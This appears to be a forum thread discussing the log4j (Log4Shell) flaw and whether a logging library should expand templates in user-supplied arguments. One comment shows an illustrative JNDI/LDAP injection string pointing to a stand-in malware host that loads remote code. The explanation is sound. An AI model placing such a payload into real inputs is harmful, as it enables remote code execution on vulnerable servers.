2 ms·
>simple pattern expansion is pretty handy. For example: [...] added.size() I think you misunderstood the gp's scenario question. Your example of "added.size()
by jasode 5y ago
>simple pattern expansion is pretty handy. For example: [...] added.size()
I think you misunderstood the gp's scenario question. Your example of "added.size()" would be static code that was written by the friendly programmer and evaluated at compile time. We do expect that baseline functionality as reasonable and gp wasn't asking about that.
Instead, what folks are wondering about is dynamic and recursive template expansion of 2nd-parameter strings at runtime supplied by potential hostile adversary such as:
log.debug("Added {} records", sAdversarialUserSuppliedString);
... and sAdversarialUserSuppliedString itself has an embedded "{}" with evil contents such as "${jndi:ldap://malware.net:1234/runviruscode}"
With that extra power and "convenience" provided by log4j, it becomes a backdoor "eval()" for arbitrary user-supplied code.
The gp's question restated could be: "Who legitimately needs that type of runtime template expansion in the 2nd parameter of sAdversarialUserSuppliedString and what have I been missing by not needing to do that? I seem to have gotten by on just using template expansion only in the 1st parameter."
- pcl 5y agoYes, and I think that both your example of expansion and the milder `log.debug("Added {} records. Build: ${buildId}")` (in which the logging infra evaluates "${buildId}") are bad, and mis-features in a logging infrastructure.
- alkonaut 5y agoExactly, my question was basically that: what scenarios are there that we need the logging to expand, that can't be expanded at the call site? The usual ones are e.g. the date and time (which are popularly set in some logging pattern like %date %loglevel %message). But beyond that, why would I need the logging infra to expand anything in the message portion?